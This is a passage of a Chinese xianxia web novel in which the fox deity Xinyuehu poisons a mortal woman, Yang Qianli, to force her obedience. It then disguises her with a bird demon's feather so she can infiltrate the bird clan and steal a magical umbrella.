她语气平和亲切,终究是披着人皮的妖怪,皮笑肉不笑。 杨千里一想到狐妖就和这十万大山里凶兽一样有着嗜血的本性,也嗔怪不起来,立马站起来。 这妖怪到底要自己干嘛? “安静点,这才对。” 心月狐上前,又挽着她的胳膊,朝着河上流飞了过去。 静下心来,杨千里打量着周围,按理来说,他被绑的那会儿已经是已近深秋。 岭南虽没北边那么夸张的严寒,但也湿冷。 她之前在被这个狐妖拉着腾空的时候,领口和衣袖不断灌风,冷得要了半条命。 可一进到这结界内,又暖洋洋的,周边嫩绿又不似深秋,姹紫嫣红,一切宛若春天。 之前听拦道的凶兽有提青丘,难道这个狐狸带自己回到青丘了? 远山料峭,多是青矿山石,没了深山老林盖着,荒山野岭的看着也没让人多害怕了。 心月狐和她一下去,地面上的山石就发光发烫起来,给她吓得魂飞魄散,难道是拿自己献祭? 直到那些石头一个个变作花狐,赤狐,土狐,蜂拥而至地伏到她们脚边半米,客客气气地伏地作揖。 青丘之山有兽,其状如狐而九尾,其音如婴儿,能食人,食者不蛊。 但明显不是每一只都能修成九尾。 杨千里下意识躲在心月狐后面,攥着袖子打死也不放,不想被当块肉喂了。 这些野狐个个嘤嘤,不知道说些什么,守规矩下又俏皮地抬着脑袋打量杨千里,看样子没什么食欲,只存浓浓的新奇。 毕竟它们青丘还从来没进过外族,更何况一个生人,还是活的。 心月狐袖子一撇,一句“退下”,那些狐狸就都跳回了洞里。 心月狐接着像拎小鸡一样,把她拎到了更高的山崖,崖上修有长廊宫殿,两侧阙楼肃穆,廊上灯笼齐整。 落到回廊,就见着两个狐头人身的孩童,圆领袍衫大摆,在追着玩闹。 但她们一瞧到心月狐,就立马规矩,纷纷让道,显然还是天真散漫的,没凡间那么多规矩。 心月狐笑笑,手上变出两颗丹药,也不打算走:“你们平日里可难受过?” 两狐妖童子活了几十年,一时半会儿没听懂。 这会儿,矮个,眼睛炯炯有神,袍子套在外裤里的小紫狐,拍拍大腿,说:“之前我跟着姑姑学过,难受了要吃粥药。” 心月狐一笑,手中丹丸飞到了小狐手上。 那大狐穿得堂正,耳上挂着红玛瑙,见小狐得势,这下也急着说:“我也我也,我还多活了十岁。” 心月狐的药丸也飞到了她手边。 心月狐把杨千里推到身前,往前一送她,说:“好,那就麻烦你们照顾下这个人。” 两狐异口同声:“人?” 杨千里疑惑:照顾她? 心月狐没回应,两狐收了好处,自然是架着杨千里走了。 ** 殷华宫,殿内纱帐帷幔轻晃,松香白烟飘荡。 几个狐狸丫头抱着团,正跟着一个满面慈祥的中年女妖习着课本。 几个宫侍就在一旁,没个正经样地跳着舞。 直到心月狐上前,才姗姗来迟地相迎。 她木然地看不出什么情绪,走到大殿里面,一群小狐狸见着来人,纷纷站了起来,作揖问候:“尊者。” 盘腿潇洒坐在宝座上,那位满头乌发的中年女子,见着来人,立马直起身来。 青丘君脸上不免惊讶,百多年前,她们星君从孟章神君青龙那里得到消息,北上会出现对付羽族的劫物,可连着找这么多年无果。 心月狐反被设计重伤。 按心月狐之前传信,她重伤在身,按理说乘人间车马还需半月,问:“星君,你为何突然提前?何不唤阿紫相迎?” “路上遇到些蝼蚁打搅,就干脆飞了回来。” 青丘君挥挥手,就让几个小狐狸退了下去,她迎了过来:“星君,凡间传闻九尾赤狐两次现世,唱衰我族,你此去果真为羽族的圈套?” “北上的时候,本君也有防备,只是没想到羽族那帮人狡诈,倒是上套了。不得已本君才真身现世,只是连累了青丘的名声。” 青丘君听完难免气愤,拂袖道:“不连累,青丘狐族不需要那些凡人妖怪口中的好名,除了沽名钓誉的羽族,我属实想不出谁会想要。” 心月狐不悲反喜:“虽然耗了本君点元气,倒是有意外之喜,我找着个人。” “什么人?” “一个凡人女子,长得实在是巧妙。”她又背过手。 青丘君眉心一挑,心月狐对凡人大多蔑视,更别说带回青丘腹地。估计真有点门路,问:“星君是想用来对付羽族?” “羽族害青丘如此,本君自是要还礼的。” 青丘君自然是信得过心月狐,只是羽族有陵光朱雀之辈在,又能拿出什么计划直攻? 她说:“星君要做什么,阿紫自是支持,只是总得让我见见那凡人女子,她有什么特别之处?” 刚一说完,心月狐就笑了起来,说:“这不就来了。” **杨千里收拾妥当了,就被两个狐首童子,引到了主殿之上。 她又搭了件合身的衣裳,还喝了些中药,胃已经缓过劲来。 只是按着青丘的审美,她发髻被梳到两边,狐耳的轮廓,又系上大红的玛瑙珠串儿,走路时垂下的小串晃悠,带几分俏劲。 她被打扮成这样,定是这狐妖在青丘能掌话,不然为何一路这些妖怪都对她言听计从,而且狐妖也没打算吃她,到底在打着什么主意? 对杨千里这种凡人也能有图谋? 心月狐旁边站着发髻收拢整齐的秀丽女人,从她唇边尾纹能看出岁月的痕迹。 她头上除了狐妖们很喜爱的玛瑙,还有象征皇权的金冠,只是比起心月狐的大红大紫的放肆妖艳,女人更加收敛,没露狐尾。 暗黑金的长袍衬得端庄,她在瞧见杨千里那一刻,和气的笑颜就收敛,又转头看心月狐,说:“还真是个凡人,星君之计未免愈发跳脱。” “无妨无妨,看着不妥。” 心月狐笑意分明地走到杨千里面前,那女人就跟着。 明明那人看着比心月狐年长,行事却没什么架子,想来这狐妖的辈分还挺高? 心月狐问:“你身体可还不适?” 这是在问杨千里,反倒是让她有些警惕。 青丘君见这凡人半天没说话,有些调侃:“星君,你莫不是连人家姑娘的名字都没有问?” 心月狐也乐意接茬,看向杨千里:“你叫什么?” 杨千里见问姓名,想到之前看过什么被妖怪知道名字之后扯上因果的怪谈。 但又不得不回答,于是她撒谎:“杨四。” 心月狐神色淡然,像是信了过去:“好,本君不管你叫什么,但你记得,今后你便是我豢养之人,只得听我差遣。” 杨千里:“豢养?” 她只是皱眉的瞬息,心月狐手上就变出一团赤火,飞入了她的嘴里,她被逼着吞了进去。 杨千里捂着喉咙,怎么样都吐不出来,愤愤地问:“你干什么?” 心月狐收回了法力,不笑时容颜冷如地狱里爬出来的艳鬼,只剩衣摆火红,她正色道:“这法子是本君从你们人间帝王那儿习得,专程防歪心思的,你可以理解为若是不听命本君,缓药一断,生人只会必死无疑。” 杨千里满脸愤恨,无力地坐在地面上,见狐妖高高在上,又听她说:“但你也不要怨本君,按照寻常命数,你也只有被害群之马当做奴仆买卖的份。” 狐族本就擅蛊惑,更何况操盘情愫的心月狐,她聪慧轻佻,唇角噙着一抹笑,将杨千里好生搀扶了起来:“相反若是替本君偷来一样东西,本君就放你自由,这青丘的金银玛瑙,四季美人,任你欢选,如何?” 富贵险中求,杨千里气又消了,睫眉颤了颤,显然是被说动,“你认真的?” “青丘和本君还不至于因为凡人所愿而翻脸。” “那你要我做什么?”狐妖的神通自然是有目共睹,果然它不会像话本子一样,平白无故会给自己好处。 “我要你去取羽族仙君的无上法宝,玄宥蔽心伞。” 杨千里听完不可思议:仙君?羽族?这死狐狸叫她一个凡人去妖怪堆里取? 不过羽族,狐族? 乍一听这不是食物链上老死不相往来的组合,狐妖是看上杨千里天赋异禀的偷盗技术了,才叫她去? 青丘君和气地说:“星君,别吓到人家姑娘了,瞧她初来乍到的样子,恐怕连九尾狐和那些丹穴山的鸟都没搞清楚。” “说起来,星君许久没回来,何不与阿紫畅饮一杯?”她笑着:“上次星君埋藏的忘忧酒,转眼间也几百年了,陈酿甘醇,阿紫再安排些别的吃食,也做接风洗尘。” “说得也是。”心月狐手上一挥,又叫来刚刚那两个小狐童子,就安排上杨千里,说:“你们且带她熟悉下四周。” 14. 鱼汤 心月狐一听要喝酒了,那抹笑意就没那么压迫了。 杨千里刚刚真以为狐妖动了杀念,自己要命丧于此了,没想到竟是让她去偷东西,还许诺话本子里的荣华富贵? 只是这任务听着天方夜谭,她也被喂了毒,跑也跑不了。 干脆跟在两个狐狸童子的后面探探妖界的另一角。 静下心来看着小童毛茸茸的狐狸脑袋,加着人类的下半身,她只觉得新奇。 杨千里在这么古典的宫殿被领着,东张西望的同时不免发问:“二位狐仙,这是带我去哪儿啊?” “当然是按尊者说的,带你熟悉熟悉青丘了。”矮个的小河搭理了她。 那个稍微高一点的阿豆扫了一眼她,明显不耐,没搭腔。 不过之前在十万大山那边的经验告诉杨千里,这青丘狐族在打打杀杀、面目狰狞的妖兽堆里,一定排得上畜生性淡、品格高、又化形好看的。 她问:“尊者?可请教二位,你们尊者什么来头啊?” “尊者,你都没听过?”小狐狸转过头来,一旁大狐狸有些难以置信,好像鄙夷乡巴佬的眼神。 杨千里又不是青丘人,她怎么会知道红毛狐狸哪个石头缝蹦出来的。 她勉强扯着笑:“我真不知道啊,之前你们尊者都是以人族身份示人,我也是莫名被委以重任了。” 阿豆和小河听到“委以重任”,就相视一眼,又看回了杨千里。 最后大狐狸阿豆难得开口:“尊者乃青丘大能,天界二十八星宿之一的正统神祇,心月狐君,岂容我等这种小妖非议?” 杨千里点头,学着那两只狐狸做抱恙的姿态,才明白原来赤狐就是心月狐。 还是神格?之前杀牙侩就不说了,那强迫她一个凡人偷东西,真的是神仙所为? 逼她吞吃的火苗,也没听着有解药,自己只能一辈子当她的手下了? 上次在李家的失败告诉她耍不得小聪明,事已至此,只能走一步看一步。 杨千里凑过去问:“那刚刚她旁边那位仙人又是?” “放肆,大君才不是什么小仙,乃四海八荒唯一的青丘之主,你连这些都不甚了解,究竟是藐视我青丘,还是蠢笨?”那阿豆实在是没了耐心,这凡人竟一连得罪了青丘两位长辈! 一旁的小河掐着阿豆的袖口,晃了晃,说:“算了算了,既是尊者带来的人,定有她的能处。” 阿豆的帽子没能给杨千里扣下,想来心月狐的名头还挺好用。 她连忙拱手道歉:“实在是初来乍到,还望两位狐仙包容。” 两只狐狸在前面领着,很快就来到了崖边,站在高处只觉寒气逼人,往下一瞧又是心惊。 想想之前心月狐挽着她飞上来,要是那狐狸稍微手滑,自己不就摔成了肉饼吗? 小河转头对杨千里说:“你是人族,应该是要进食的。我们青丘一族除了幼年,一概汲取日月精华以修炼,殷华宫就没有专门供食的地方。所以我们得回到山下。” 杨千里想着这些都是山海经里的妖怪,大半都要吃人的啊,吓得抖了抖,问:“那你们吃……吃什么啊?” 大小狐狸不语,只是一左一右拉着她的胳膊,一齐从山崖边上跳了下去,崖风扑面,她头顶上的珠串乒乓。 好在已经习惯被心月狐带着飞,一脚踩到地面也没那么心惊。 地面上那些远瞧青绿的山石也没心思晒太阳了,变作了一只只花狐狸,比起刚刚心月狐在场的拘谨,这会儿明显活泼多了。 围在了杨千里和两狐妖小童的脚边,说:“大姐,二姐,她是谁啊?” “为什么闻起来那么香啊?” 还有较小只的上去咬杨千里的衣摆,说:“是人,是人!” 杨千里有些被吓到,想退却都没法。 小河就把那只咬衣服的踢远了些,说:“别那么没礼貌,小丫,你们见过的,她可是星君带过来的人。” 被踹飞的小狐狸在地上打了好几个滚,也不生气:“开个玩笑而已啦,二姐,我可想你们了。” 阿豆转过来问这些个狐妖:“你们今天吃什么?” 几个狐狸像狗一样,傻傻地回应:“是啊,吃什么?” 那只体型小的狐狸又上前来,说:“我知道,今天悠姑姑给我们做肉汤,是熟食!” 杨千里之前在客栈吃的那顿还让她心有余悸,看这里也没有别的建筑,难道是露天食堂? 她问:“吃东西?那我们去哪儿吃啊?” 小狐狸跳过来,又围着她转了好几个圈,说:“回家,当然是回家!” 两个狐狸仙童也没解释的意思,只是跟着小狐狸走,后面领了一大堆花色的狐狸,看着热闹极了,尤其杨千里是个人。 小狐狸走到最大的地洞面前,一头扎了进去,其它狐狸也跟着涌了进去,连小河也跳了进去。 杨千里看着有些黑漆漆而狭窄的洞穴,疑惑:“我也要跳吗?” 她这体质也不抗摔,洞又太窄,万一爬不出来? 其实她不吃也行。 大狐狸阿豆耐心可不好,一脚把她踹了进去。 冲击力吓得她尖叫,可睁开眼的时候,她已经掉在了软垫子上。 原来里面别有洞天,除了石壁,其余地方家具屏风的摆放很古典讲究,周边还有泉水滴石的响声。 一个化为人形的娘子在中央熬着大汤,左手饶有兴致地拿着话本,另一只手变戏法一样,让橱柜上的香料飘到了大锅里。 那些个狐狸就安分地围坐一旁的长桌,面前都有一只瓷碗。 青丘怎么可能有人?能化形这么全面,估计也是只大妖。 这大妖看着也身姿卓越,面容秀美。 大小狐童上前打招呼:“姑姑。” 杨千里拱手,也学着问了句:“不知大仙怎么称呼?” “大仙?”娘子立刻放下手中话本子,好笑地说,“许久没听到人这么称呼我了。” 她再上下打量杨千里,问:“你就是星君带回来的那个人?” “嗯,我叫杨四。”杨千里继续用着化名。 娘子笑得温和:“杨四是吧?来我青丘者皆为客。大仙倒是担不得,不过几百年的道行,我名悠宁,你跟着它们那些小妖称呼我一声悠姑姑就好。” 杨千里:“悠姑姑。” 杨千里问完又顺带问两个在青丘君面前当差的童子:“说来冒昧,还不知两位仙童怎么称呼?” 狐狸小童没那么排斥她说:“我叫 小河,她叫阿豆。” 悠宁的这一锅也炖煮好了,她吆喝着:“可以开饭了。” 又兴致勃勃地邀请杨千里:“既然是做客,姑娘不如就来坐我旁边?我一百多年没下青丘了,刚巧想听点新鲜的。阿豆小河你们没什么意见吧?” 小河:“那倒没有,只是姑姑,你可别玩性大发把这杨四给弄丢了,不然我们可不好同尊者交差。” 杨千里点头应声,手上被端上了一碗乳白色的浓汤,悠宁还特地往里面撒了把葱花,卖相和鱼香味可圈可点。 悠宁把她拉到了另一处有屏风的地方,手中变出美酒,打开塞子,开口:“杨姑娘,你觉得我这手艺怎么样?” “很不错。” “那就对了。我之前在凡间活了几十年,好久都没有出去了,手都有些生了。” 悠宁很和蔼可亲。 杨千里隔着屏风的缝隙,瞧着那些小狐狸吃得津津有味,这样和谐的环境,能让人忘忧。 可她心里又生出别样的警惕,她在李家也是这么过来的。所谓的民风淳朴,也只是族内人享有。 杨千里看着手中热滚滚的汤,将白烟吹远了些,干燥已久的嘴唇轻启。 这鱼汤果然鲜纯,就像加了牛奶,而她也好久都没吃上一口热食,要是再来点米饭或者面馍馍来泡着吃就好了。 不过太烫了,她也只能象征性碰碰边。 一旁悠宁问:“杨姑娘,能告诉我,你是怎么被尊者给捡回来的吗?” 杨千里实话实说,自己是在被人牙子拐走的时候碰到了她。 悠宁笑出了声:“这倒真是尊者的作风,还知道去搭个顺风车。我们尊者一向懒得要命,估计是之前的地方待不下去了,才想着跑了。” 她这么平心静气地调侃心月狐,也让杨千里对这里好奇,问道:“这儿有青丘狐族,是不是还有龙族,羽族什么的?” “当然,和你们凡间话本子里描述的差不多。不过除了东海边还有微末龙裔,龙族的概念其实不存在。它完全没法与青丘和丹穴山相提并论。” “为什么?”杨千里来了劲,“凡世间对龙凤的崇拜向来是并列,甚至龙族更高,为九五之尊独享。” “这要解释也简单,龙生九子,九子各不同。凡间龙族可谓泛滥,蛇蛟潜心修炼也可化龙,于天庭多如牛毛,除了天之苍龙,你又觉得神性能高到哪儿去?” 悠宁一谈起龙族,就带着微妙的瞧不起。 大白话就是,龙多滥情,如果生下来个个都是神,那按这个道理来说,这个世界的神就不值钱了。 悠宁:“青丘狐族与龙族同起于上古八荒,虽然子嗣兴旺,但九尾难求。我们头上是靠着尊者和大君这样的大能,才能盘踞青丘一方天地,自食其力,可不像龙族那般自私薄情。” 龙性本淫,生那么多都不知道怎么养。 杨千里赞同:“这倒也是。” 青丘狐族倒是不像话本里写的诡谲香艳,挺团结对外,对她这样的人族也能客气守礼。 那它们敌对的羽族不食人肉,岂不是更加文明?要不到时候杨千里趁乱投敌了? 悠宁讲完,又笑着饮了一口酒,问:“姑娘问我这些,估计尊者带你来此是和羽族有关?” 15. 法器 杨千里:“你这猜出来了,没关系吗?” “无妨,我又不是什么多嘴的人。而且除了报复丹穴山那些羽族,我想不出还有什么能让尊者破例带个凡人上青丘。”悠宁对心月狐这种族中大能很是信任。 “丹穴山?悠姑姑,你们和那羽族到底有什么渊源?” “狐族和羽族同为上古蛮荒异兽,若不是商末天庭招安,站错了队伍,被羽族捷足先登,偷去名衔,也不至于被逼入这穷山恶水之地,沦落被书生侃侃。” 悠宁说得咬牙切齿,差点狰狞出原型,它们和丹穴山的仇恨显然不止于此,遗恨万年。 杨千里轻轻吹着汤面,虽有被说动容,但她又不是青丘狐,只知仇恨越大,昭示心月狐让她去偷法器的风险也高。 悠宁平复下怒火,又瞧着杨千里初来乍到,叮嘱:“青丘虽没凡人那么能折腾,搞出一堆规矩,但见到化形大妖注意避让准没错。我有几个姐妹可没那么喜欢人,修炼的法子也偏激了些。” 杨千里听完,埋头喝完了鱼汤,齿颊留香,她从来没吃过这么舒心的一餐。 不过汤终究不饱,她拎着碗又问:“还能再来一碗吗?” “当然。”二人走出屏风,去到那口大锅,往里面一瞧,那鱼汤只见些汤沫,连刺都被舔干净了。 一旁冒出来那只小狐狸,叫着说:“姑姑,你们来晚了!都说了吃汤不积极,就没得吃!” 见杨千里嘴角下撇,悠宁说:“明日你若还要,我就多给你留一份,免得给这些狐崽子吃空了。” 杨千里两眼放光,仿佛刚才分析状况的犀利不见。 悠宁觉得好笑,这凡人究竟是多久没有吃饱饭了?星君擅操情术,又了解人间,竟不带她吃饱?是有什么深意? “我先安排你起居,看你这样子估计舟车劳顿。” “多谢悠姑姑。” * 翌日,二人结伴走到外面山崖边上。 悠宁:“我瞧着姑娘你胆子挺大的啊,来了狐狸窝不该被吓怕吗?” 杨千里摇头:“还行。毕竟尊者乃真神仙,我相信它不会让我一个凡人莫名死了。” 她没什么肺腑之言,纯粹是表忠心。 来时心月狐烧穿一大片人的事还历历在目,它对自己的态度也更像可有可无的蝼蚁。 不远处又来了一支有秩序的小队,像民间的游神,轿子中央是个木扎的神像。 神像珠光宝气又不失端庄,尽管雕像不及本尊分毫,但杨千里就是凭着鸿雁纹路的朱红交领袍,认出那是心月狐。 带队最前面是个头顶珠钗、身着罗裙的美丽狐族女子,她手上捧着传世珠宝,旁有两个一高一矮的女童撒着梨花瓣。后面几个抬着轿子的也都修得了人身。 妖怪们游神,边上围着没化形的小狐猧,热闹又荒诞。 明明是深秋了,它们还能靠着妖力把梨花瓣给养出来。 悠宁瞧见了,也没带人围上去凑热闹:“这是给尊者接风洗尘,顺便给十万大山那些虎视眈眈的妖兽们警示。尊者千百年难得回来一趟,也不知会待上多久,总之快成青丘难逢的庆典了。” 她脸上满是憧憬,但还是拉着杨千里的袖子推后了些,说:“但卓姐姐不喜人族,尽量就别靠前了。” 悠宁不知从哪儿拔了几根狐狸毛,吹拂到了杨千里身上。 杨千里身上立马多了些奇异的味道,能遮掩她是个生人。 队伍临近,二人一同埋头屏息,才没惹出怀疑。 等长队顺着山腰石阶走远。 她们还没聊些别的,一旁风起落花飞,卷来些花浪在二人面前,成了个如梦如幻的漩涡,中间又现出个不像凡世间该存在的昳丽女子。 那一刻赏梨花乱流、簌簌飘零的心情都没那么重要了。 美人似毒药,华色而心殆,不怪杨千里,就连同为青丘狐的悠宁都看得痴傻。 悠宁平日里冷静自持,唯恐在星君面前乱了方寸,躬身作礼:“尊者。” 杨千里有样学样。 心月狐只是点头,又看向杨千里,说:“你倒是让我好找。” 杨千里重新看回心月狐,不免疑惑,青丘狐狸给它办这么隆重的接风仪式,它不待在正殿作威作福,却跑到这里? 悠宁抢着解释:“真是抱歉尊者,我刚刚邀请杨小友用完膳就一同出来了。” 悠宁脸上盖不住的激动。 难不成青丘狐狸见到心月狐的时候脸上都这副迷妹样? 杨千里想完觉得有些可怕,还好自己之前没说什么她的坏话。 心月狐神色威严,没有和杨千里相处时那么顽劣,也并无宽和之意,距离感拉满,也难怪青丘狐狸喜欢,“那就多谢你照顾她了,本君要带她走了。” “能为尊者操劳,我在所不辞。”悠宁激动地说,她上次见尊者才十几岁,未曾想这次心月狐一回来,自己竟破天荒地说上话了。 “还不上前来?”心月狐伸出手来,杨千里就知道这货又要带着她吹冷风了。 看着两人原地没了踪迹,悠宁不免艳羡起杨四起来,如今她年过几百,才换来尊者这么一眼,而她甚至不是妖都能为尊者赴汤蹈火。 ** 没一会儿场景就变化,大殿内歌舞升平,庄重雅致。 不过她们却是在殿外,更高的崖边,这里不知被布下了什么术法,原本该向下汇涌的河流竟倒灌到这天边,汇成了一汪平静如镜面、晶莹澄澈的水月湖泊,一眼望去只看得见远方的天边云,看不到尽头。 心月狐在前面领着她,湖面立马催生出了荷叶一样供人踩踏的小道。 烟雾散开,小道通向的竟然是一处湖心亭,亭子边上挂着竹制幔帘。 清风徐来,一只手轻轻拨开帘子,美人轻笑,仿佛所有人都入画。 青丘君:“没想到星君是去找这姑娘了,阿紫还以为你不饮酒了。” 心月狐:“我虽对时间没什么概念,但养的人在外面总得怕她莫名跑了。” 青丘君:“星君还真是放心不下,何不让她也同我们喝一杯?” 心月狐转头看了杨千里一眼,“跟上。” 落座凉亭,其间清风正好,小桌上摆满了酒壶玉杯,也只有酒。 杨千里不知道这些狐狸喝的什么琼脂玉露,倒有几分春游的惬意。 青丘君用妖法给她递了一杯清凉的果酒,又细瞧起杨千里,实在是想不通,一个行事畏首畏尾、相貌平平、毫无仙缘,甚至一点善果福德都没有的凡人,怎么帮狐族搅乱棋局? 星君难道是图个新鲜? 她问:“日已深秋,刚好赶上丹穴山那边招管冬储闲务的宫女,星君你是这么打算的吗?” 心月狐抿了口酒,说:“谁知道呢?那帮子凤凰窝的整日里衣冠楚楚、道貌岸然的,防范之心定比我们想的高得多。” 青丘君:“也是,不过星君此去又是要多久回来呢?” 心月狐:“这次本君回来,你就一直挂上名号吧。” 青丘君神色微慌,可看着老祖宗一脸淡然潇洒的样子,还是拱手答应了下来。 这果酒带着梨子的香甜和些许酵酸,度数比现代的果酒低很多,杨千里没喝迷糊,更多是听着两只狐狸的讨论。 心月狐突然来问一旁滥竽充数的她,稍加轻瞥:“你身体怎么样?” “好多了。” 杨千里回应得有些发憷,这狐狸怎么就把话题引到自己身上了? 心月狐继续问她:“你可要吃点什么?我瞧你之前 很饿。” 还没等杨千里谄媚地回答,心月狐手上一掐,杨千里的掌心就变出了些桂花糕、龙井茶酥这类糕点。 可把她吓了一跳,不是不喜欢吃,而是大大怀疑这东西的真实性,毕竟青丘的伙食太差,外面也只有茹毛饮血的十万大山。 这石器时代哪来的糕点? 莫不是心月狐这妖怪弄障眼法捉弄她? 被两个元君盯着,她还是咬上一小口,甜滋滋而绵密的口感立马带给她幸福。 桂花糕香甜,龙井茶酥外皮松脆倒是没那么腻味,她几乎连着两口就能噎下去,完全没有吃相。 之前兑水的稀粥配咸菜吃久了,这可真算得上珍馐。 心月狐不免打趣:“你这样吃在狐族算得好看,要是落了羽族定会被说野蛮粗陋。” 调笑归笑,她干脆变了一盘龙井茶酥到杨千里手上。 青丘君只是蹙眉看着,自家老祖的行事还是那么出格,就是不知道到这可怜的杨四会被骗成什么样? 而这些糕点,都是从供给心月狐的贡品盘上面变走的,可把大殿里面庄严歌舞的狐狸吓了一跳。 最前面领着供奉的卓远看着小盘都消失了,起初以为是谁的恶作剧。 可想着殷华宫戒备森严,没有大君的允许,旁妖根本无法入内。 所以只能是尊者她们拿了? 卓远和别的狐狸暗自窃喜,瞪大眼记下,龙井茶酥是尊者的最爱。 杨千里大口大口往嘴里塞着,真像是经历了饥荒。 青丘君因为公务,就先走了。 “羽族自先秦之后,西楚一灭,便避世于丹穴山之上,不问世事。”心月狐细饮一口浊酒,才说上正事:“虽说是不问世事,丹穴山靠着朱雀神君、凰主楚今、白凤楚清此三贤,近年来颇为繁荣。” “而我要你取的法器,就在清元仙君楚清手上。你得想方设法接近他。但也不能过急,若是你死了,你这张脸没排上用场,我会很痛心。” 杨千里才刚吃完员工餐就听上这么大一串,很是抵触,试着问:“星君,我能不去吗?你说你豢养我,派我做别的不行吗?” “不能。”心月狐漾着纯粹的笑,又说:“凡人本就无用,你又能帮上我别的什么?” 杨千里想为自己辩解几句。 心月狐:“你还记得我在你体内种了阴火苗吧?在拿不到解药前,这世间仅有我的血能缓火急,你每月十五需得服用一次。若不及时,烈火攻心,凭你凡人体质只会七窍流血而亡。所以不要想着耍滑头。” 这下让杨千里哑口无言,赤裸裸的霸权啊。 心月狐又说:“表情别那么怨我啊,事成之后,答应给你的都会给你。” 她酒杯一放,手上又浮现了一撮黄黄的毛,说:“隐蔽身上的人气,之前那只小狐给你的?” 杨千里反应过来是悠宁给的妖毛,淡淡点头。 那一撮狐狸毛立刻化为了心月狐手上的火星。 杨千里着急:“你干什么?没有妖气我会很危险的。” 心月狐说:“你吃你的,我有安排。等你吃完,我们就出发前往丹穴山。你切记谨慎行事。” 刚刚被要挟那么一通,杨千里气都气饱了,哪还有什么食欲。 她干脆把吃不完的茶点收在了裤腰处,给吃了上顿没下顿的日子添点安心。 ** 丹穴山也在南边乱岭,但不在十万大山里面。 杨千里原先以为会被心月狐带着往天上飞,没想到心月狐带她去了后山的传送阵法。 怪不得和羽族结了世仇,修这么大一座石阵,直接穿透十万大山的瘴气,就为了监视丹穴山。 随着妖力启动,她们也来到了一片干净空旷的小镇上。 16. 山鸠 离开那瘴气弥漫,蚊虫凶兽的地方。 布铺子有狐族的接应,相对来说,落地也就没那么瞩目。 店主一双狐狸眼不甚明显,但对心月狐恭敬。 “尊者,不知到访小店所为何事?” “突发奇想罢了。”心月狐看向杨千里头顶大串的青丘玛瑙珠帘和花红罗裙,说:“还有,帮我给她定件像样的衣服。” 那店主当即听明白,青丘服饰在人妖交界处实在是太过于招摇,尤其是这丹穴山的地盘。 她朝着杨千里那边示意,拉开了店后面的门:“请吧娘子,让我给你量个尺寸。” 杨千里应了下来:“好。” 她还是不免害怕,这就要把她送到羽族去了?都没什么准备,不怕漏洞太多了吗? 心月狐淡淡笑着,看不透心思。 杨千里身材算得高挑,穿着衣服和头饰,站在铜镜面前倒是第一次打量起自己,饿得快脱相了,不过这衣服更衬出清瘦挺拔的身姿。 店主给她拆下了头饰,又在她的腰围、臂膀间量了又量,只是打了个响指,那些布料就飘到了她的周身,变作了粗荆罗裙,头上又被紫色布巾包着,一下符合了市井人的形象。 杨千里偷瞧着桌上那些珠宝都没消失,估计是货真价实,要是把这些拿去当了不就能买点正常的吃食吗? 她贪念一起,乘着店主转头的间隙抓了一把,掏进腰带口。 不巧。 心月狐明显是等得不耐烦,直接掀开帘子进来,说:“忘了说了,别给她穿太好了。” 她的偷窃也正好让心月狐撞着,但狐妖只是轻轻一扫,没说话。 杨千里吓一跳,没放手,但也不能拿更多了,拿去当点细软用。 店主笑着:“当然了尊者,这赶集嘛,就是既不能招摇了,也不能白花了人家娘子的脸蛋,你瞧头巾是流行的款式。” 心月狐:“什么有的没的,不要大红大紫,太像狐族,换件杏色的。” 店家一改,杨千里衣袍立刻变作了服帖的浅杏,头巾变作了淡灰的发带。 “不错。”心月狐稍微摆手,她自己的衣裳也布满环羽纹,除开内领是鲜红,其它一概乌黑。 她走上前来,点向杨千里的袍子,那上面也变出杏花的绣样,衬得人更娇俏。 杨千里抬手看衣样,确实清新朴实多了,比起青丘繁复的服饰,这种明显更适合她这种生气浅,脸上又挂不起笑颜的人。 不过她可不信心月狐是什么好心人,想着给自己添新衣。 ** 这人妖混杂的集市不如她们之前待的城镇,房瓦修得更低矮,地上也没平铺的砖路。 岭南气湿,大道上泥都有几分稀,周边交易的也全是鱼虾野味之类小摊,很少见几个立了牌匾的门铺。 往来都是些凡人,但也不乏穿得招摇、把羽毛一串串挂在身上,一眼就能认出是化形的妖。 听心月狐说,此地受丹穴山管辖,所以没什么妖怪作乱,还不能在凡人面前露了身份。 而来见识这里并不是她们此行的重点,心月狐突发奇想地问:“你喜欢鹌鹑吗?” 杨千里摇头。 “麻雀?” 杨千里摇头,有些疑惑:“你问我这个干嘛?” “山鸠?” 杨千里刚要开口拒绝,就被心月狐带着不容拒绝的力道,拐来了野外。 杨千里看着翠绿的山间小道,实在摸不清头脑,心月狐却一股脑地走了上去。 杨千里可跑不了,只能跟上这臭狐狸,见她突然在一道灌木丛间停下来,也停下来。 顺着她的视线看过去,不远处荷塘边上有个戏水的女子,她对着水面不停用手捧水,灿烂地喊着:“抓着了抓着了!” 日光落在摆尾的鱼身上,好个顽皮样。 可没一会儿,这心月狐就煞风景上前,敲那女子肩头,伸手把那女子点晕了过去。 恶毒狠辣,快得不像话。 心月狐抬手让她上前来。 杨千里皱眉,这狐妖是在杀生吗?她还算个神吗? 心月狐面上还是懒散,丝毫没有什么杀生的愧疚,手上一动就捏住了一枝尾羽,而那女子的身体也立刻消失不见,只留下了空荡的衣裳,看着像人间蒸发只剩一具皮囊。 杨千里被骇得汗毛直立,捂着嘴角,问:“你在杀人?你疯了!” 还是个无辜的女子。 心月狐摊开手心里的棕色羽毛,向它吹了一口带着阴火印记的妖气,毫不在意地说:“咋咋呼呼的。你且把这根羽毛拿着。” 屈服于心月狐刚刚的淫威,杨千里只能颤颤地接过。 就在这会儿,脚边女子的衣物一块突然怪异动弹起来,居然从袖口处钻出来一只山斑鸠,头圆而小巧可爱,惊慌失措地往林子外围蓝天飞去。 杨千里不免疑惑,但想着手上的尾羽和那只山鸠颜色很像,想起这里是丹穴山,说:“她是妖,还是羽族的?” “不错。这枚羽毛混杂妖气,再注入了我的妖力,带在身边,在羽族眼里你就是它们的同类,一只肥鸟。” 杨千里听完,才舒了一口气:“所以你刚刚才问我喜欢什么鸟雀?为什么我不能喜欢点好看的?比如孔雀。” 心月狐听完,狡黠地笑着:“想都别想。孔雀一脉在羽族算得血统高的,凭你的教养撑不住,对方只一眼就能认出是异族,到时可就不是要命那么简单了。” “我要你此番潜入羽族当婢子,再见机行事替我偷来玄宥蔽心伞。切记这枚尾羽不得离身,一旦暴露,你将万劫不复。” 杨千里攥紧了些,还是面露难色,说:“可我只是个凡人,没有妖力我随随便便就能被那些妖怪掐死。” 心月狐:“我说了这羽毛里有我的妖力,必要时你可以用三次,但也只有三次。若是没死,你就记得,熬到每月十五下山来找我拿血。” “好。” ** 